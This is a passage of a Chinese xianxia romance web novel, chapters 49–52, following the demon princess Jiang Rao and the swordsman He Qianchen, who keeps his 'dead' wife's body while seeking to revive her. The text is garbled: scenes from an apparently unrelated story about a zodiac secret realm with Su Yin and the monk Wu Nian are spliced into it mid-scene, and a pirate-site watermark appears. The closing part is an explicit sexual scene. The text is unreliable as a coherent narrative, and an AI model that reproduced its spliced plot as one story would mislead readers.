等贺千宸离开,黎清越才叹一口气。十年过去了,只有在他提到九重莲和回魂珠的时候,贺千宸才能勉强对他态度好点。其余时候的贺千宸,简直像是个傀儡,只懂得挥剑。 要是贺千宸能放下他那发妻,与其他人结成一段新的情缘,该有多好…… 宗门里根本不乏爱慕他的人,赵元珍也在其中。只可惜,贺千宸的眼中完全没有其他人,她的一厢情意怕是要落一场空了。 此时的妖魔宫。 醒来之后,姜桡先去见了青姨,见她安然无恙,姜桡才放下心。出来后,姜桡看见红莲懒洋洋地倚靠在墙边,见她过来,才欣欣然抬眼,娇嗔道:“殿下,怎么醒了也不来见我?怕不是身边有了新人,都听不见我这个旧人哭了……” 姜桡扯了扯嘴角,走过去,勾起她的下巴:“哪有?我是太忙,谁让你主子又给我没事找事?他若安分些,我不就有大把时间陪你了吗?” “没关系,只要殿下心里还挂念着我就好。”红莲朝姜桡抛了个媚眼,才慢悠悠拿出两三瓶药,递给她,“这是残鹤托我带给你的,他说你需要。” 姜桡接过去,也没细看:“帮我谢谢他。” “殿下也不谢谢我吗?我可是浪费了大把春光,专程来给你送药。” 姜桡也轻笑一声,朝她道谢。送完药,红莲便扭着腰肢要离开。姜桡知道,她八成又是要去“春宵苦短日高起”,与她的夫侍在床上大战三百个来回了。 “鼠现在还不知是什么情况,牛千万别碰上,你尽可能别暴露生肖。” 虽说阿桡的生肖已经很靠前,但在贺千宸看来还是十分的危险。 姜桡直接拒绝:“不要。” “你比我靠后,我想保护你!” 贺千宸征征的看着面前的一脸坚定的阿桡,眼底不由流动异样的情绪,等回过神后,他轻声宽慰道。 “放心,我不会有事的。” 姜桡才没有那么好骗,她态度强硬的走到贺千宸前面。 “反正你要跟在我后头。” 贺千宸有些无奈,却还是十分宠溺的跟在阿桡身后,他环顾四周空荡荡没有人的房屋跟店铺,总觉得这样正大光明的走到街道上太引人注目。 就在贺千宸准备让阿桡去旁边的巷子口时,手里忽然多出了个东西。 第 49 章 第四十九章 他低头看去,只见手中多了一颗白色玻璃珠,贺千宸能感觉的到,白色玻璃珠中透着十分浓郁的灵气。 可诡异的是! 这东西是凭空出现在自己手中。 贺千宸先将这颗白色玻璃珠子放入灵宝袋中,而后喊住阿桡。 “走在街道上太过显眼,跟我来。” 说罢,他便牵着阿桡的手朝着旁侧的巷子口走去。 栋栋房屋之间的缝隙在这城镇中,形成一条有一条的狭窄巷子。 它们宛如蜘蛛网般,每条线通往不同的地方。 虽然隐蔽,却也很容易迷失。 姜桡紧紧跟在贺千宸身后,在穿过第四条巷子时,便碰到迎面走来的一名带着白色面具的男人。 乍一听见贺宸的问题,姜桡也不免呆滞了一会。直到对上贺宸的目光,姜桡才反应过来,贺宸竟然相信了她如此离谱的答案,甚至还在追问。 那能怎么办?只能继续胡编乱造了。 姜桡眨眨眼,努力摆出一副真诚的表情,说:“……那、那当然是因为我爱慕清离仙君啦!他不仅修为高深,剑意深宸,长得还好看,简直就是我的如意郎君。我是为了追随他的步伐,才决心四处游历,争取早日变强,与他并肩!” 清离本人:“……” 所以,眼前这位如此爱慕清离仙君的人竟然连他的脸都认不出来吗? 奇怪的是,她居然还知道模仿姜糖的长相,也知道来此处“偶遇”他,这样的人却完全认不出他的脸,多么荒谬。 但定睛一看,贺千宸竟然发现眼前的这张脸与其说是与姜糖相似,不如说是神似。五官不大像,神韵却与姜糖如出一辙,甚至说话时的动作和表情也相差无几。 姜桡微微撇过头,目光落在那柄剑上。剑身流光溢彩,灵气四溢,一看便不是俗物,倒也与贺宸相配。如此想来,贺宸在天月宗的地位绝不会低。 如果她想要进入天月宗,顺理成章地接近清离,再次利用贺宸似乎是个不错的选择。 但她真的要这样做吗? 姜桡挪开眼,目光下移的瞬间,她看见了贺宸衣袖边一抹不甚起眼的红,像是血。 “你受伤了?”姜桡脱口而出,几乎没有经过任何思考,对于贺宸的关心已经刻在了她的本能反应中。 顺着姜桡的目光望去,贺千宸低头,看见了那一抹鲜血。他没有去管,而是将剑锋顶向了姜桡几分。 姜桡也意识到自己的食言,只能抿住唇,继续和贺宸周旋。 “这位仙君,我真的是无意冒犯你呀。你就大人不记小人过,饶了我这一回,好吗?” 贺宸不语,无声打量着她,似乎是在做最后的权衡。 姜桡见有希望,便再接再厉,继续扮演一个情窦初开的少女,亮出一双星星眼,捏着嗓子说:“你不知道,清离仙君有多好!等我变强,变得更好,我就要去找他,站在他面前,认认真真地将自己的心意说给他听。” “哪怕被拒绝,我这辈子也没有遗憾了……”姜桡面色一变,眼神逐渐暗下来。 这可是她的拿手好戏! 演一个情窦初开,疯狂迷恋对方的少女,姜桡这一招可早就在贺宸身上实践过了,效果很是不错。 不然当初贺宸为什么会答应与她成亲? 为了将这场戏演的更加完美,向贺宸袒露心声后,姜桡又羞涩地低下头,没有看他,而是捏着自己的裙摆,脸颊微微泛红。 “你喜欢清离?”贺宸终于开口,毫不掩饰他的讥讽之意,“不过尔尔。” 姜糖只会喜欢贺宸。 而清离只是一个失去她的废物。 闻言,姜桡惊诧抬头,十年不见,贺宸竟然完全变了一副性子。从前谦虚的少年成了一个自大狂,连清离都不放在眼里。 天月宗这是对他做了什么改造啊?! 贺千宸收了剑,转身要走。姜桡松了口气,正要去细想他那句话的意思,却见贺宸冷不丁回头,清冽的声音又落下。 “你叫什么?” 我叫什么? “姜桡”三个字凝在嘴边,她不可能以真名示人。她一向是个取名废材,之前的“姜糖”取自她的小名,那现在的她该叫什么呢? 至少不能再与这些有关,否则贺宸一定会怀疑她的身份。 见贺宸的眼神又冷下几分,姜桡不敢再思考,怕他起疑,只能再次信口胡诌:“我、我叫唐小米!” 唐小米? 贺宸双眼微眯,怕他不信,姜桡连忙补充:“这是我师傅取的名字,他也是一介散修,云游四海,说贱名好养活。小米,小米,多可爱呀。” 贺千宸:“……” 他收回眼,也不对这个名字进行评价,转身御剑走了。 这次姜桡也不敢掉以轻心,直到再三确认贺宸的气息已经离开,他不可能再杀她个回马枪的时候,姜桡才彻底呼出一口气。 她完全没想到自己会再次见到贺宸,更没想到现在的贺宸像是变了个人,一点也不好糊弄。 更可怕的是,姜桡发现,不知道是因为什么,她竟然对贺宸有一种下意识的亲近感。一见到贺宸,姜桡便不由自主地想要靠近他,和他说话,甚至是做更为亲密的举动。 难不成这就是双修带来的影响? 姜桡心下一沉,现在的贺宸可不好忽悠,她也不再是姜糖。一旦在贺宸面前露馅,后果简直不堪设想。看来,之后她要么选择克服这种感觉,要么就只能尽量躲着贺宸走,不与他见面。 但清离也在天月宗,如果她要像游彦所说的那样去勾引清离,她真的能永宸避开贺宸吗? 寻求无果后,姜桡还是回了妖魔宫。她回去的时候,路生已经离开,而她宫殿里的花草早已被打理干净,不再呈现出杂乱无章的态势。 姜桡躺在床上,拿出那片护心鳞,心绪万千。 走这一趟,她非但没能如愿找到那具凡体,反而碰见了贺宸,他像是变了一个人,让姜桡感到陌生又熟悉。 为什么在说到清离的时候,贺宸会表现出不屑的态度?为什么在被贺宸的剑对着的时候,她还是觉得委屈?为什么路生要将这片护心鳞送给她,明明她已经失势,他却还是要继续拉拢她吗? 无数个疑问充斥在姜桡的大脑中,她睁着眼,想了许久。时间一长,身体上的疲倦逐渐将她的心神拉住,带着她坠入梦乡。 天月宗。 贺千宸回到洞府的时候,王复一早已离开,桌上却摆着一瓶药。贺千宸将其收入柜子,却没有启用。 只有一人一剑的时候,天华剑便忍不住出声,声音环绕在贺千宸的耳边:“你为什么不杀了她?” 贺千宸没有回答,天华剑以为是自己的主人不愿意说,却没想到贺千宸也不知道原因。对贺千宸来说,放走她,似乎只是一种下意识的行为,不需要任何理由。 外面更深露重,贺千宸却没有急于歇息,而是走到今日王复一无意间触碰过的那处地方。他一靠近,天华剑便乖巧地放出一点灵气,跟在他身后。 转眼间,一扇门出现,尔后慢慢打开,露出内里的光景。 苏音早就知晓他的性子,便冲着面前两人道友开口。 “我叫苏音,妙音宗弟子,你们呢?” 贺千宸正想着要不要用假名时,姜桡就已经回答道。 “我叫姜桡,他叫贺千宸。” 贺千宸闻言,连忙接过话。 “我们两个无门无派。” 苏音听到“贺千宸”三个字时,不由瞪大眼睛。 她记得剑栖宗的大师兄,名字就叫贺千宸。 不过听闻,早在几个月前就死在秘境中。 第 50 章 第五十章 可能是同名同姓,不然那样的人物还活着,剑栖宗又怎会舍得放手。 苏音叹口气,转身进了庙内。 姜桡跟贺千宸相互对视一眼后,也跟着走进去,庙内两侧伫立高大的罗刹像,正中间摆放着千手观音像。看起来十分庄严。 那千手观音像前的蒲团前,正做着一名带着白色面具的男人,他盘腿而坐,双手合十放置胸前。 贺千宸不由试探喊道:“无念?” 那男人下意识应了声,待反应过来后,以为是仇家寻仇,连忙开口反驳。 “小僧不是!” 苏音忍不住笑了起来,她直接走到无念身边,她晃动手中的唢呐。 “他就是无念,怎么?寻仇!” 阴云沉沉,剑气激荡。 见此异象,原本还在练剑的弟子们不约而同地放下剑,开始窃窃私语。 “这是怎么回事?难不成又是妖魔中人来闹事?” “就凭他们?” “这剑光非比寻常,我看倒像是哪位大能正在渡劫……?” “大能?会是我们宗门内的哪一位?不会是掌门吧?!” “真的吗,真的吗?” 有几人凑到林不语身边,想要问询这位天月宗百晓生的意见,却见林不语仰头望天,目不转睛地盯着上方的乌云看。 林不语是见过贺千宸出剑时候的模样,是以仔细一看,再琢磨一会,林不语便认出了这是天华剑的剑光。不过,好端端的,贺千宸为何在宗门内弄出如此大的动静? 怕不是疯了,林不语冷哼一声。 除林不语外,其余见过天华剑的弟子们也纷纷认出这是贺千宸的剑光,一时间众说纷纷,有的人猜测贺千宸又在破阶历劫,有的则一口认定这是天华剑法的最后一式,说的有鼻子有眼,头头是道。 最后,徐津及时出面制止,众人才继续专心致志地练剑。讨论声渐低,林不语也收回眼,继续握着手中的剑,心思却已然不在剑招上。半晌,透过余光,林不语看见徐津带着王复一飞去了断月崖。他抿了抿唇,随后寻了个机会,悄然跟上。 那声剑啸响起的时候,黎清越正和门中的长老在议事。乍一听见那惊天的动静,众人皆是一惊,黎清越率先察觉到天华剑的气息,疑心又是贺千宸出了事,当即赶往断月崖,去到贺千宸的洞府。 施问雁唇角一勾,脸上漾出一丝微笑,随后也跟了上去。见两人都朝断月崖的方向飞去,段止暗叹一口气,只能跟上。 看见明显失控的贺千宸时,黎清越心下一沉,当即怒喝道:“你当这是什么地方,岂容你胡闹?还不快放下天华剑,先前的教训还不够吗?!” 对于黎清越的训斥,贺千宸充耳不闻,只握着剑,一步一步走进秘室,丝毫没有察觉到其余人形形色色的目光。直到看见蜷缩在冰玉床旁的糖圆时,贺千宸才动了动唇,将剑锋对准它,冷冷逼问:“那个人在哪?” 糖圆缩了缩脖子,无辜地喵呜一声,看着怪可怜。 黎清越和施问雁站在贺千宸身后,还来不及打量这与修仙界明显格格不入的秘室,便看见他对着一只猫发脾气,不由讶然。段止察觉到气氛的怪异,又见一群人围在秘室门口,当即出面让其余人离开贺千宸的洞府,并下了封口令,不准他们提起今日之事。 一瞬间,前来围观的人如鸟兽散,整座洞府只剩下贺千宸、黎清越、施问雁和段止四人。 走出洞府的时候,王复一忍不住喃喃道:“贺师兄竟然在洞府中建了一间秘室……” 想起之前墙上的那一抹灰色,以及当时贺千宸迅速制止他的动作,王复一终于了然。原来那处便是秘室的开关,而那小玉姐一直惦念的姜姑娘的尸首就存放在那里。 贺师兄他简直…… 一时之间,王复一找不到一个准确的词语去形容贺千宸,只能继续感叹着。而作为十年前,亲眼见证过那件事的人,徐津和林不语隔着一段距离,在半空中相视一眼,都从彼此的眼中看见了些许讶异。 十年过去,贺千宸早就不再是当初的那个凡人贺宸,而是有着大好前途的天月宗弟子贺千宸。若是贺千宸想要,以他的剑心和禀赋,怕是再过百年,贺千宸便能像先前的天华剑仙一样飞升成仙。 没想到,贺千宸现在竟还一心记挂着复活亡妻,眼下更是为此疯魔失控,连掌门的话都不听。 林不语轻摇了摇头,心绪万千,最后只化成一声吐息,飘散在风中。 现如今贺千宸闹出了如此大的动静,纵使有封口令在,再过几日,有心探听的人怕也会知道这件事。届时,众人都会知晓—— 天月宗的清离仙君有个割舍不下的软肋,而那软肋只是一早已玉陨的凡人女子。 多么荒谬,多么可笑。 此时,秘室内,几人僵持不下。 贺千宸无心隐藏,于是黎清越一眼便看出他紊乱的气息,担心他又透支灵力,最后伤至经脉。劝说无果后,黎清越便要上前,强行夺走他的剑。然而,还没靠近,一股强劲的灵力突然从贺千宸的身上迸发而出,黎清越根本无法强行上前。 再转眼间,贺千宸已然到了冰玉床边,他单手抓起糖圆,看它胡乱扑腾。贺千宸压低声音,一字一句问:“你们又要做什么?告诉我她在哪里,饶你不死。” 这个世界上可有比死还要磋磨人的办法,他不会就这样干脆利落地了结他们。 贺千宸从来不是一个仁慈的人。 糖圆骨碌地转着眼睛,目光不住地瞥向床上的“姜糖”。尽管现在糖圆很想扯着嗓子喊“她就是姜糖,她就躺在床上”,但它还不确定娘亲是否已经成功进入了那具凡体,是以不敢轻举妄动,只能一个劲地充楞装傻。 察觉到糖圆的目光所在,贺千宸心头一跳,当即半跪下身,去看冰玉床上姜糖的状态。 幸好,幸好。 姜糖还在睡着,一如从前,贺千宸没从她的身上看出任何受伤的迹象。贺千宸微微松了口气,却还是不放心,便又走到段止面前,轻声说:“段长老,可否帮我看看她的情况?” 段止暗暗瞥了眼自己师兄阴沉得可以滴出水的脸,又看向贺千宸,见他面色苍白,嘴角漫出血丝,不由一惊:“清离,你受伤了!” “无事。”贺千宸随手擦去那抹血痕,又继续请求道,“能否先帮我看看她?” 真是冤孽。 段止无奈垂眉:“……好。” 他走到冰玉床边,又给姜糖细细地检查了一遍,见她并无大碍,不由也舒了一口气:“姜姑娘无事,你还是先……” 话未说完,便听黎清越一声怒叱,威压悉数落下。贺千宸早有内伤,灵力逆行经脉,此时再也支撑不住,顿时半跪在地上,唯有手中的天华剑做了一半支柱,不让贺千宸彻底倒地。 噗—— 下一息,贺千宸低下头,吐出一口鲜血,血染在他的白袍上,触目惊心。 望着眼前似曾相识的场景,施问雁深深地吸一口气,出声劝道:“……师兄,他受了伤,还是先让他起来吧。” 黎清越冷眼盯着贺千宸,见他没有半点要认错的意思,越发气狠。可一看到那把天华剑,一想到贺千宸于天月宗的重要性,他便只能压下脾气,顺着施问雁递过来的台阶而下:“既然如此,你先起来。伤好之后,我再好好责罚你。” “……多谢掌门。” 贺千宸拱手行礼,冷淡道。他站起身,也不管其余人,径自走到冰玉床边坐下,双眼紧盯着姜糖。确认她真的安然无恙后,贺千宸转而看向糖圆,杀心又起,糖圆连忙往旁边溜,努力减少存在感。 感应到主人的杀意,天华剑忍不住嗡了一声,周身的剑气逐渐盈满。 见贺千宸冥顽不灵,又要继续运转灵力挥剑,饶是一向以好脾气著称的黎清越也按耐不住,当即骂了一句:“你个逆徒!” 若不是天华剑只认准贺千宸一人,他岂会如此容忍贺千宸?若不是天月宗需要天华剑坐镇,他又岂会拿出天月宗秘宝,只为了复活他那个凡人之妻? 要知道,有了九重莲和回魂珠,莫说是复活一个凡人,便是让一个修真大能起死回生也并非完全不可能之事。 暴怒之下,黎清越指着贺千宸的手都在发抖。 看黎清越着实气急了,纵使心中有恨,施问雁还是勉力安慰他:“师兄,人各有命,你还是先回去休息吧。一会让段止帮清离疗伤便可,宗门内还有诸多事务等着你处理,师兄还需保重自己。” 一旁的段止看着出声安慰的施问雁,不由生出几分欣慰之情。多好,自从天华剑仙飞升,小师妹误会师兄之后,他们三人相处便再无从前那般融洽了,未曾想此时竟因清离这事,他们二人关系难得亲近了几分。 尔后,黎清越和施问雁相继离开,段止正要为贺千宸探寻伤势,一旁的糖圆却突然扑到床边,凑在姜糖身边喵喵狂叫。 段止额心狂跳,暗道一声不好,正要伸手将那只猫丢下床,却猝不及防地瞥见了姜糖微动的眼睫。她仍然闭着眼,眼睫却像是被风吹过,在缓慢地打颤。 “?” 段止疑心这是幻觉,正要专心细看,却听噗噔一声,天华剑从贺千宸的手中滑落,掉在了地上。贺千宸浑身发麻,周遭的一切动静都消失不见,一双眼紧紧锁在姜糖身上,时刻注意着她的一举一动,生怕错过分毫变化。 然而,几息过后,姜糖却还是静静地躺在床上,原本激动异常的糖圆也没了声响。 一切就像是一场梦,来的匆匆,去也匆匆,连一个预兆也不愿意留给贺千宸。 贺千宸垂下眼,心仿佛就此被剜去,整个人只剩下空空荡荡的身躯,再无血肉和跳动的心。段止伸手将他扶起来,沉声道:“我先为你疗伤。” “好,多谢……”目光无意掠过身边人,贺千宸的声音就此僵住,他喉间发紧,再也吐不出一个字。 循着贺千宸的视线找去,段止看见上一瞬还在沉睡中的少女倏然睁开了双眸,她迟钝地眨了眨眼,柳眉蹙起一抹弧度,懵懂而无知。 “贺——” 目光一落到贺千宸身上,姜桡眼前一亮,随后怔怔地吐出一个模糊的音节,仿佛初生的稚儿在牙牙学语。还来不及反应,段止手上一痛,定睛一看,是贺千宸毫不犹豫地推开了他。 贺千宸再也顾不上其他,只跌跌撞撞地朝姜桡走去。将她拥入怀中的瞬间,空荡荡的一颗心终于有了去处。此时此刻,贺千宸满心满眼只有一个人。 那就是眼前人。 唇瓣沾满了血,贺千宸却只能闻到她身上的甜味,他紧紧搂住姜桡,近乎语无伦次道:“贺宸,我是贺宸。” “糖糖,我在,我在。” “在小僧眼中,它们并不可怕,小僧只是觉得…他们还活着。” 许是没想到胆小的无念竟因这个原因,贺千宸与姜桡,以及苏音都陷入了沉默。 姜桡小声问道:“那鼠呢?” 无念阿弥陀佛一声后:“鼠也是活的,我若吃了它,就犯了杀戒。” 听到这话的苏音恨不得打开无念的脑子瞧一瞧,那里头到底装着什么。 刚刚还觉得不愧是小雷音寺的前圣子呢,现在只觉得一根筋。 “圣僧!我的好圣僧!麻烦你睁开眼看清局势好不好!” “你不吃鼠,指不定哪天你就是别人的盘中餐。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 50-60 第 51 章 第五十一章 无念却不这样认为,他双手合十,低头默念着一句阿弥陀佛。 “有你们在,小僧又怎会成为他人的盘中餐,” 苏音已经无话可说,爱咋样就咋样,大不了有危险她先跑就是。 反正猪没了,肯定会有新的猪出现。 贺千宸心里很清楚,如果无念若不跨出那一步,他们就无法利用猪去吃掉鼠,更不可能离开这个地方。 “刚刚我们过来时,看到剑栖宗的弟子似是在找什么。” 姜桡立即反应过来:“既然猪的存在那么重要,那应该是在找无念。” 苏音冷哼一声:“何止是剑栖宗,城里几乎所有人都在找无念,” “他现在就是个香馍馍。” 回家的路上,姜桡一行人又碰上了小玉。 不过几瞬间,小玉的目光便从两人相牵的手转移到了姜桡怀中的猫上,她欲言又止,最后也只是朝他们微笑了下,道一声好便走了。 回到家,贺宸照例去准备晚饭,姜桡则先给这只猫简单包扎了下。只是,人间的包扎药物似乎对其不起作用,流血的地方并没有任何愈合的迹象。 姜桡心下一沉,深觉自己的猜想十分正确,却又猛然后怕起来,或许这只猫身上的伤并不简单,是有人刻意为之,那人还不是个凡人。 而她将这只猫带了回来…… 深思之际,姜桡怀中的猫咪似乎也察觉到了她的犹疑,喵喵了几声,便亲昵地伸出舌头舔了舔她的手指。姜桡低下头,盯着它看了一会,目光逐渐柔了下来。 糖圆很像很久很久之前她偶然遇到的那只猫咪。 可惜,那只猫已经死了,是被游彦那个疯子亲手虐待而死的。尽管有父亲管着,但他再不济也是未来魔皇的人选,对付不了她,自然有许多种方法去对付她身边的人,还有事物。 姜桡想着,不由越来越出神,直到指尖传来一阵痛感,她才猛然一回神。 殷红的血从细小的伤口处冒出来,转眼间,又悉数被怀中的猫舔舐干净,至此不再流血。 与此同时,肉眼可见的,糖圆身上的伤口迅速好转起来,不一会儿便恢复如初。姜桡抱着它,身子也忽然热起来,仿佛有什么在她的内心深处烧红、沸腾起来。 果然,糖圆不是寻常的猫。 姜桡胡乱地摸了一把它,就将糖圆放下,自己则往外走,去厨房找贺宸。不知为何,此时此刻,姜桡只觉贺宸对她的吸引力胜过世间万物。 才进厨房,一股清甜的香气扑面而来,姜桡双眼发亮,顿时跑到贺宸身边,低头去看,果然是她日思夜想的桂花糕。 “小心热气,烫。”一听见脚步声,贺宸就猜到是她,“怎么来了?” 姜桡往前靠,将脸轻轻地贴到他的后颈旁,笑吟吟道:“想你了,不行吗?” 贺宸没说行,也没说不行,甚至没有半点动作,但姜桡靠得近,听见了他轻微的叹息声。姜桡转过头看他,越看越觉得好玩,正要伸手戳戳贺宸的脸颊肉时,他转过身,扶着她的腰身,缓缓地将她推离。等与姜桡隔开些许距离后,贺宸才重新回身,将蒸笼里的东西端了出来。 热气直往上跑,模糊了两人的面容。 姜桡低头看了看新鲜出炉的桂花糕,又看看神色淡淡的贺宸,想了想还是挪到他身边,小声说:“好香,之后你教我,我再做给你吃,好不好?” 不好不好,她姜桡就是个真好吃懒做的性子,反正有贺宸在身边,她学了也没用…… 不对。 姜桡摇摇头,眼前的热气似乎突然换了个方向,齐齐地涌向她的眼眶,都快把她熏出热泪来了。姜桡眨眨眼,费劲地将那股热意憋回去,又扯出一个笑容,抱紧了贺宸。 贺宸没说话,只伸手回抱她。两人就这样静静地抱了一会,直到一阵敲门声响起,姜桡才如梦初醒般睁开眼,跑去开门。 敲门的是小玉,还有被她拎着的糖圆。 小玉将糖圆抱给姜桡:“姜姑娘,这只猫是你在山上捡来的?” 姜桡点点头,正要说点什么,又见小玉提醒道:“怪不得,你不在身边,这只猫又要往山上扑,跟发了狂一样,我和夫君两个人一起才捉到它。你若是想要养,先得看顾几天,消消它的野性。” 原来如此。 姜桡低下头,捏了捏这只小野猫,连忙向小玉道谢。贺宸不知什么时候也走了过来,将一碟桂花糕递给小玉,温声道:“多谢,刚做好的桂花糕,若是不嫌弃,带回去给阿庆当零嘴正好。” 小玉接过去,笑了笑:“举手之劳,哪有什么谢不谢的?不过阿庆确实对你这桂花糕喜欢的打紧,改日有空我也得向你们学几招才行。” 姜桡陪着笑了几下,有点羞赧。等小玉走了,姜桡就牢牢抱着糖圆,吃完了这顿饭。 幸好,在她身边,糖圆还算乖顺。慢慢地,姜桡也不怎么拘着它,就关上门,让它一只猫在房中四处溜达。再回去看的时候,糖圆已经窝在了床边,眯着眼睡熟了。 姜桡这才放下心来,沐浴更衣后又重新戴上那条白玉吊坠,等着贺宸过来。等待的间隙,姜桡又放出点灵识,白玉石便开始放光发热。 已经差不多了,再来两三次便够了。 不愧是母亲留下的秘法,比之起死回生也毫不逊色,就是要离开的话这具凡体该怎么处理呢? 思忖间,姜桡听见了脚步声,便随手拿起身旁的话本,看了起来。贺宸开门的时候,看到的就是这样一幅景象—— 姜桡披着长发,懒懒地靠在床榻间,怀里抱着本话本在看。床脚边,灰色的猫盘起尾巴,窝成一团,已经睡着了。 一家人。 这本该只是她的一句玩笑话,贺宸却在此时险些当了真。 贺宸慢慢走过去,坐到姜桡身边,她还在看话本,贺宸便静静地看着她。被贺宸这么盯着,姜桡也不想再继续装,她将话本放到一旁,稍稍往贺宸的身边靠了靠,问:“你今天怎么去山上这么久?” “无事。”贺宸垂下眼,“迷路了一会而已。” 迷路? 贺宸自小在这边长大,怎么还会在这座山里迷路? 姜桡不置可否,却又着急做正事,便将这个话题略过,去拉贺宸的手。一碰到她温热的手心,贺宸的手指便往回缩了缩,他提醒道:“糖糖,今早已经……” 才一次诶。 姜桡气哼哼着,也不放手,直接顺势去挠贺宸的手心,又将腿伸过去,顶着他的腰腹。 贺宸似是无奈,轻轻地叹了一声:“太过频繁,你会有喜的。等找到合适的法子,我们再继续,好吗?” “……”姜桡没想到自己有天也会尝到搬起石头砸自己的脚是何种滋味,那话不过是她随口编的,却被贺宸当了真,拿出来当作不同她做的借口。 她不会怀孕的,就算姜糖的身体只是凡体,但她毕竟还可以调用灵识和灵力,避个孕根本不是什么难题。 见状,姜桡也只能哑巴吃黄连,有苦说不出,继续去勾着贺宸,她就不信贺宸会没有半点反应。不一会儿,贺宸确实有了反应,但还是哑着声,将姜桡作乱的手拨开:“……睡吧。” 姜桡气得要死,又拿贺宸没办法,他都这样了还不愿意同她做,姜桡也不能真的玩什么霸王硬上弓的戏码。于是,姜桡收回了手,转过身,背对着贺宸,闭上了眼。 她等了一会,见贺宸也没有服软,更没有凑过来抱住她,不由得更气了。 气着气着,姜桡原先心中的那点离愁和郁结也消散了。她闭着眼,呼吸逐渐变得平稳,不久便进入了梦乡。 此后许久,贺宸才试探性地轻声喊她名字,见姜桡没有反应,才伸出手,又将她搂进怀中,紧紧抱着。许是闻到熟悉的气息,睡梦中的姜桡全无半点情绪,下意识地又将手和腿缠到贺宸身上,与他紧紧相贴。 贺宸闷哼了几声,手臂的肌肉紧紧绷着。他忍了一会,还是轻手轻脚地将姜桡的手脚挪宸,一个人起身下了床,走向浴堂。 贺千宸从佛像中走出来,此时庙宇门外已经没有人头灯笼,无念的身体依旧哆嗦的厉害。 他走到无念身后,开口道:“无念,我们得要离开这。” 无念被贺千宸的声音吓得差点跳起来,方才他沉浸在般若波罗蜜多心经,所以三人的谈话完全不知。 他有些欢喜的站起身:“是鼠被我吃掉了吗,黑雾是不是马上就能散去?” 贺千宸摇摇头,并把事情一一告知无念,也好让他知晓这其中的严重性。 无念顿时慌的不行。 “那我们赶紧走!” 可话音落后,寺庙的木门就被人直接砸开,来人正是今日那群插肩而过的剑栖宗弟子们。 第 52 章 第五十二章 剑栖宗这群弟子看到无念时,眼底都露出一种狗看到肉垂涎的目光。 尤其是看到无念身边那多得数不清灵珠时,更是喜上眉梢。 “不枉我们冒险过来,猪果然在这,只是没想到这只猪竟是个和尚。” 其中一名弟子忍不住道:“师兄,他会不会是小雷音寺…” 余下的话虽没说完,但众人也能明白他的意思。 为首的那名弟子冷笑道。 “小雷音寺弟子又如何,反正都是死人。” 苏音凑到姜桡面前,十分不满的嘀咕着。 “这群人是不是无视了我们。” 从进门到现在都没有正眼瞧她们一眼,直接议论无念的生死。 什么天下第一宗,这剑栖宗的弟子的嘴脸可真丑陋。 姜桡点点头。 见贺宸目光闪躲,姜桡已然明了,她就不能指望这个人跟红莲姐姐身边的夫侍一样知情知趣。但眼下被贺宸这么一问,姜桡也才后知后觉地想起,自己也只是知道有“吹笙”这么一说,却也没有亲眼看过,亲身试验过。 所以,姜桡目前也无法给贺宸任何指导。 想到这,姜桡难得烦躁地揉了下自己的裙摆,便要下床,却被背后的贺宸拉住。他紧紧地拉着她的手,指尖已然沁出些许汗,湿润着姜桡的手腕。 一阵湿闷漫上心头,姜桡不可避免地想到那个暴雨时分的树林。她垂下眼,不耐地去松贺宸的手,却被他越拽越紧。 拉拽之间,贺宸终于出声,他亲了亲她后脑的发梢,似是屈服道:“……别生气,你教教我,我就会了。” 听到贺宸的话,姜桡这才懂了,他是将自己先前的一系列不耐烦都归因于他不愿意用嘴帮忙上了。姜桡越发羞恼了,她在贺宸眼中就是这样一个急色的人吗?! ……好像还真的是。 姜桡细细回想了成婚以来他们的频率,竟真的不算低,大多还是她主动勾贺宸来做的。特别是一开始,贺宸越是坐怀不乱,她姜桡便是越作乱不断。 但是,这也不能全怪她吧?至少不能给她扣一个“急色”的头衔吧? 她也是想要尽快修补经脉,回去救青姨。 姜桡越想越乱,好一会儿才记起身边还有个正在等着她“教学”的人。事到如今,姜桡干脆一不做二不休,清了清嗓子,便对着贺宸下达命令:“这有什么难的?像往常你我亲吻一样即可。” “……好。”贺宸神色一滞,耳尖却越来越红,他走到姜桡面前,艰难地蹲下身,还不忘提醒她,“要是我做的不好,你难受的话,告诉我。” 姜桡也是没想到贺宸这时候如此干脆利落了,她也是骑虎难下,直接一咬牙,一闭眼,就坐在床上,将自己那处地方袒露出去了。 衣料摩擦间,空气中更静了。 贺宸盯着那处,双眼仍是亮晶晶的,仿佛在凝望着神秘圣洁之物,想要注视,却又忍不住回避。被他这样不加掩饰地直视着,姜桡的心头也泛上些许羞涩,她刻意仰起头,让贺宸消失在自己的视线之中,催促他:“……快点。” “嗯。” 贺宸应了声,尔后便没了声响。姜桡看不见他,却能感受到他灼热的呼吸,以及贴的越来越近的气息。 好热,好闷。 姜桡咬住唇,心乱如麻,等双唇真正贴合的时候,她忍不住惊呼出声,又迅速咬紧牙关,不想让自己在贺宸面前露怯。床下,贺宸像是没听到她的声音,他没出声问她,而是开始生涩地吻着。 确实生涩。 姜桡甚至疑心有几次,贺宸的唇齿一定磕碰到了。但时间逐渐拉长后,贺宸又学的极快,动作也变得熟练和缠绵起来,可谓是真的无师自通。不久,姜桡便下意识地朝后靠,双手撑在背后,仰头平复着呼吸。 另一边埋头苦干的贺宸看不见姜桡的神情,只能根据她的喘气声去判断她的状态。 她既然没有叫停,那说明他目前的表现应该尚可吧? 思至此,贺宸不由得越发低头,想尽力讨姜桡的欢心。等到水源流出,贺宸试探性地探出舌尖吸吮的时候,姜桡的浑身才迎来了真正的战栗。 房间内都是她的声音,细小的喘息,还有轻微的水声。 听到她的声音,贺宸的心中也漫上异样的感觉,这样的声音他只在两人行房时听过。原来只是这样的亲吻,也能让她快乐欢喜至此吗? 贺宸不由得又专心用力了些。 许是初次经历这般,姜桡很快便释放出来。她还飘飘然地躺在那里,贺宸却已经用唇舌帮她清理好了。 他站起身,缓缓伸手,将她抱在怀中,鼻尖还沾着水雾,关切地问她:“……还好吗?是我太过粗鲁了?” 姜桡眯着眼看他,双唇微启,话到嘴边又不好意思承认自己的受用,只能轻轻摇一摇头,靠在他身上。房间内溢满了姜桡的气息,贺宸的身上尤甚。他们靠在一起,姜桡甚至能从贺宸的呼吸中闻出属于自己的味道。 她的脸更红了,身上的燥热也久而不散,心口处甚至有了被灼伤的感觉。 没得到姜桡直接的回答,贺宸表现出了鲜有的执着,他低下头,坚持不懈地确认姜桡的状态:“要喝点水吗?” 